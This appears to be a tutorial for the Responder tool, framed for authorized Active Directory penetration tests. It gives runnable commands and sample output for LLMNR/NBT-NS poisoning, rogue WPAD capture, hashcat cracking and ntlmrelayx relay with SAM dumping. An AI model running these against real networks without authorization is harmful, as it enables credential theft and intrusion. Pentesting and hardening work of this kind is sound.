Responder is a Python-based LLMNR, NBT-NS, and mDNS poisoner built specifically for Windows/Active Directory environments. When a Windows host cannot resolve a hostname via DNS, it falls back to broadcasting LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) queries asking “does anyone know this name?” Responder listens for these broadcast queries and answers “yes, that’s me,” causing the victim machine to authenticate directly to the attacker using NTLMv1/NTLMv2 challenge-response — which Responder captures for offline cracking or relay.
Responder bundles built-in fake servers for numerous protocols to capture these authentication attempts:
- SMB, HTTP, HTTPS, FTP, LDAP, DNS, MSSQL, RDP-lite, WPAD (proxy auto-discovery), Kerberos-related listeners
It is a core tool in internal Active Directory penetration tests because most Windows networks have LLMNR/NBT-NS enabled by default, and captured NetNTLM hashes are frequently crackable offline or usable directly with NTLM relay tools (e.g., ntlmrelayx from Impacket).
Installation
Preinstalled on Kali. To reinstall/update:
sudo apt update
sudo apt install responder -y
Verify:
responder --version
Expected output:
Responder 3.1.5.0
From source (for the latest features):
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py --version
Syntax
responder -I <INTERFACE> [OPTIONS]
Example:
sudo responder -I eth0 -wrf
Command-Line Options Reference
| Option | Long form | Description |
|---|---|---|
-I | --interface | Network interface to listen on (required) |
-i | --ip | Local IP to use for poisoning (for multi-homed hosts) |
-e | --externalip | Force external IP in responses (for NAT’d setups) |
-b | --basic | Return a Basic HTTP authentication prompt instead of NTLM |
-r | --wredir | Enable answers for netbios wredir suffix queries (aggressive) |
-d | --NBTNSdomain | Enable answering for NetBIOS domain suffix queries |
-f | --fingerprint | Fingerprint hosts that issued an NBT-NS/LLMNR query |
-w | --wpad | Start the WPAD rogue proxy server |
-u | --upstream-proxy | Upstream HTTP proxy for WPAD injection |
-F | --ForceWpadAuth | Force NTLM authentication on WPAD requests |
-P | --ProxyAuth | Force proxy authentication for WPAD (bypasses WinHTTP restriction) |
-A | --analyze | Analyze mode — listen and log, don’t poison |
-o | --Fingerprint | (older syntax variant) OS fingerprinting |
-v | --verbose | Increase verbosity |
-lm | Force LM hashing downgrade for older Windows compatibility (legacy) | |
-t | --ttl | Set TTL for spoofed responses |
-c | --command | Command to run when a challenge is captured (custom hook) |
Key configuration file: /usr/share/responder/Responder.conf (or repo root) controls which fake servers (SMB, HTTP, FTP, SQL, etc.) are enabled and other global behaviors like hash output format.
Basic Usage
sudo responder -I eth0
Expected startup banner:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
To support this project:
Patreon -> https://www.patreon.com/PythonResponder
...
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [OFF]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
LDAP server [ON]
[+] Listening for events...
Practical Examples with Output
Example 1 — Basic LLMNR/NBT-NS poisoning capturing NetNTLMv2
sudo responder -I eth0
Captured hash output:
[SMB] NTLMv2-SSP Client : 192.168.1.20
[SMB] NTLMv2-SSP Username : CONTOSO\jsmith
[SMB] NTLMv2-SSP Hash : jsmith::CONTOSO:1122334455667788:AABBCCDD...:0101000000000000...
Hashes are also auto-saved under:
/usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.1.20.txt
Example 2 — Analyze-only mode (safe recon, no poisoning)
sudo responder -I eth0 -A
Output:
[Analyze mode: ON]
[*] [LLMNR] Poisoned answer sent NOT (Analyze Mode) for name WORKSTATION1
Example 3 — Enabling WPAD rogue proxy to capture credentials from browser auth
sudo responder -I eth0 -wF
Output:
[+] Servers:
WPAD proxy [ON]
[HTTP] NTLMv2 Client : 192.168.1.22
[HTTP] NTLMv2 Username : CONTOSO\bjones
[HTTP] NTLMv2 Hash : bjones::CONTOSO:...
Example 4 — Fingerprinting hosts that send LLMNR/NBT-NS queries
sudo responder -I eth0 -f
Output:
[*] [LLMNR] Poisoned answer sent to 192.168.1.30 for name FILESERVER
[FINGER] OS Version : Windows 10 / Server 2016
[FINGER] Client Version: NTLMSSP v2
Example 5 — Forcing Basic auth prompt instead of NTLM (for legacy capture)
sudo responder -I eth0 -b
Example 6 — Using a specific listening IP on a multi-homed attack box
sudo responder -I eth0 -i 192.168.1.15
Example 7 — Cracking a captured NetNTLMv2 hash with hashcat
hashcat -m 5600 SMB-NTLMv2-SSP-192.168.1.20.txt /usr/share/wordlists/rockyou.txt
Output:
CONTOSO\jsmith::CONTOSO:1122334455667788:AABBCCDD...:0101...:Summer2024!
Session..........: hashcat
Status...........: Cracked
Example 8 — Relaying captured hashes live with Impacket’s ntlmrelayx (Responder configured to disable SMB/HTTP so ntlmrelayx can bind those ports)
Edit Responder.conf: set SMB = Off and HTTP = Off, then:
sudo responder -I eth0
# in a second terminal:
sudo ntlmrelayx.py -tf targets.txt -smb2support
Output (ntlmrelayx):
[*] Authenticating against smb://192.168.1.40 as CONTOSO/jsmith SUCCEED
[*] Dumping local SAM hashes
Example 9 — Logging verbose output to a file for a scoped engagement window
sudo responder -I eth0 -v | tee -a /tmp/responder_$(date +%F).log
Common Use Cases
- Internal Active Directory penetration tests to capture NetNTLM hashes via default LLMNR/NBT-NS misconfigurations
- Chaining with NTLM relay attacks (Impacket
ntlmrelayx) to pivot captured authentication into SMB/LDAP access - Validating whether a client environment has properly disabled LLMNR and NBT-NS (a standard AD hardening checklist item)
- WPAD abuse assessments to confirm browsers aren’t blindly trusting rogue proxy auto-config
- Credential-harvesting demonstrations for security-awareness and blue-team detection training
Automation with Bash
#!/bin/bash
# responder_session.sh - Timed Responder capture session with auto hash extraction
IFACE="eth0"
DURATION=1800 # 30 minutes
LOGDIR="/usr/share/responder/logs"
OUTFILE="/tmp/responder_hashes_$(date +%Y%m%d_%H%M%S).txt"
echo "[*] Starting Responder on $IFACE for $((DURATION/60)) minutes..."
sudo timeout "$DURATION" responder -I "$IFACE" -f -v
echo "[*] Session ended. Collecting captured hashes..."
grep -h "NTLMv2" "$LOGDIR"/*.txt > "$OUTFILE" 2>/dev/null
echo "[*] $(wc -l < "$OUTFILE") hash lines saved to $OUTFILE"
echo "[*] Run: hashcat -m 5600 $OUTFILE wordlist.txt to attempt cracking"
Tips and Best Practices
- Always check
Responder.confbefore starting — disable fake servers (e.g., SMB/HTTP) if you plan to chain intontlmrelayx, since both can’t bind the same port simultaneously. - Use
-A(analyze mode) first on a new engagement to understand query volume before actively poisoning, to avoid unnecessary disruption. - Captured hash files accumulate in
/usr/share/responder/logs/— clear or archive them between engagements to avoid client data cross-contamination. - NetNTLMv2 hashes are generally not crackable as fast as NTLM hashes — prioritize relay attacks over offline cracking when time is limited.
- Combine with
-fto fingerprint OS versions of querying hosts, useful for engagement reporting. - Only run on segments explicitly in scope — LLMNR/NBT-NS poisoning affects all broadcast-domain hosts, not just an intended target.
Troubleshooting
| Problem | Cause / Fix |
|---|---|
Error: [Errno 98] Address already in use | Another service (e.g., smbd, samba, systemd-resolved on port 5355) is bound to a port Responder needs — stop it with sudo systemctl stop smbd nmbd or disable systemd-resolve‘s LLMNR listener |
| No hashes captured at all | LLMNR/NBT-NS may be disabled via GPO on the target network — try WPAD (-w) or check with -A first |
| Hashes captured but won’t crack | NTLMv2 with a strong password — pivot to relay attack instead of brute force |
Permission denied on start | Needs raw sockets — run with sudo |
| WPAD not triggering | Client browsers only query WPAD if “Automatically detect settings” is enabled and DNS lookup for wpad.<domain> fails |
References
- Official GitHub repository: https://github.com/lgandx/Responder
- Kali Linux Tools listing: https://www.kali.org/tools/responder/
- Impacket project (for
ntlmrelayx.pyrelay chaining): https://github.com/fortra/impacket